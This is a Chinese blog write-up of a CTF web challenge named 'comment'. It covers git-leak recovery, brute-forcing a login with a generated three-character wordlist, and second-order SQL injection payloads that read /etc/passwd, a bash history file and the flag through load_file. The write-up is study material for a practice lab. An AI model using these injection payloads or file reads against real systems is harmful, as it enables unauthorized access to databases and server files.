博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
攻防世界 comment
阅读量:2066 次
发布时间:2019-04-29

本文共 2583 字,大约阅读时间需要 8 分钟。

  • 进去是个留言板页面 发帖需要登录 未登录回跳转到登录页面
  • 一不做二不休 直接dirsearch扫描一下 看看有哪些文件 在这里插入图片描述
  • 芜湖!意外发现git泄露!! 还扫到了个mysql.php???访问好像没啥子用 以后再说
  • GitHack 下载了一下 发现只下载了给write_do.php
    在这里插入图片描述
  • 代码贴下
  • 所以session必须等于yes才能操作
  • 这里有个脑洞 我们跳转到login.php有个小提示
    在这里插入图片描述
  • 账号:zhangwei 密码:zhangwei***
  • 这里可以尝试爆破 得到正确的账号密码 卧槽!牛逼!
  • 编写个脚本列出 所有的三位数字和字母组合
str_a='123456789abcdefghijklmnopqrstuvwxzy'for i in str_a:    for j in str_a:        for k in str_a:            print(i+j+k)
  • 最后爆出密码是zhangwei666
    在这里插入图片描述
  • 成功登录 之后 题目描述的sql注入就应该在这个页面了 盲猜是个二次注入
  • 先发帖再看值
  • 卧槽 知道是二次注入还是摸不着头脑 看了wp
  • 发现我GitHack下载的do_login.php不完整 附上大师傅的源码
0){
$category = mysql_fetch_array($result)['category']; $content = addslashes($_POST['content']); $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'"; $result = mysql_query($sql); } header("Location: ./comment.php?id=$bo_id"); break;default: header("Location: ./index.php");}}else{
header("Location: ./index.php");}?>————————————————//版权声明:本文为CSDN博主「HyyMbb」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。//原文链接:https://blog.csdn.net/a3320315/article/details/104216070
  • 这个题目的关键点在于write中的category填写的注入语句和comment中填写的content内容
  • comment直接将category的数据取出,没有经过任何的过滤操作
  • 而我们在写入的时候经过了addslashes($_POST['category'])处理,所以我们可以在这里花点心思
  • 而这道题目的最坑点在于
$content = addslashes($_POST['content']);    $sql = "insert into comment            set category = '$category',                content = '$content',                bo_id = '$bo_id'";
  • 因为是分行插入,所以在注入后面添加#是没有用,要用到/**/
  • 举个例子:

我们在发帖的时候

TITLE:database
CATEGORY:123’,content=database(),/*
CONTENT:123
在提交留言处写入
*/#

  • 这个时候代码就变为
$content = addslashes($_POST['content']);    $sql = "insert into comment            set category = '123',content=database(),/*',                content = '*/#',                bo_id = '$bo_id'";
insert into comment            set category = '123',content=database(),/*',                content = '*/#',                bo_id = '$bo_id'";
  • 返回的页面就是
    在这里插入图片描述
  • 接着我又尝试了123',content=(select group_concat(table_name) from information_schema.tables where table_schema=database()),/*
  • 返回的是board,comment,user
  • 我把各个表查烂了 没有找到flag …
  • 于是又开始查看文件
  • 123',content=(select (load_file('/etc/passwd'))),/*
insert into comment            set category = '123',content=(select (load_file('/etc/passwd'))),/*',                content = '*/#',                bo_id = '$bo_id'";
  • 返回的值在这里插入图片描述
  • 123',content=(select (load_file('/home/www/.bash_history'))),/*
  • 123', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
  • 解码后flag_8946e1ff1ee3e40f.php在这里插入图片描述
  • 123',content=(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
  • flag在F12里面!!!!
    在这里插入图片描述
  • 手动注入的一下午!!!
你可能感兴趣的文章
c结构体、c++结构体和c++类的区别以及错误纠正
查看>>
Linux下查看根目录各文件内存占用情况
查看>>
A星算法详解(个人认为最详细,最通俗易懂的一个版本)
查看>>
利用栈实现DFS
查看>>
逆序对的数量(递归+归并思想)
查看>>
数的范围(二分查找上下界)
查看>>
算法导论阅读顺序
查看>>
Windows程序设计:直线绘制
查看>>
linux之CentOS下文件解压方式
查看>>
Django字段的创建并连接MYSQL
查看>>
div标签布局的使用
查看>>
HTML中表格的使用
查看>>
(模板 重要)Tarjan算法解决LCA问题(PAT 1151 LCA in a Binary Tree)
查看>>
(PAT 1154) Vertex Coloring (图的广度优先遍历)
查看>>
(PAT 1115) Counting Nodes in a BST (二叉查找树-统计指定层元素个数)
查看>>
(PAT 1143) Lowest Common Ancestor (二叉查找树的LCA)
查看>>
(PAT 1061) Dating (字符串处理)
查看>>
(PAT 1118) Birds in Forest (并查集)
查看>>
数据结构 拓扑排序
查看>>
(PAT 1040) Longest Symmetric String (DP-最长回文子串)
查看>>